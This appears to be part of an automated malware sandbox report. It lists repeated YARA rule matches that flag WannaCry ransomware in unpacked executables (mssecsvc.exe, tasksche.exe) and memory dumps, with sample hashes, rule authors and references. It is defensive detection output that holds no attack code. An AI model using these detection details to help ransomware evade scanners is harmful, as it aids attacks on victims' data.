              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000018.00000000.470364244.000000000040E000.00000008.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.392433384.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000006.00000000.395162671.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
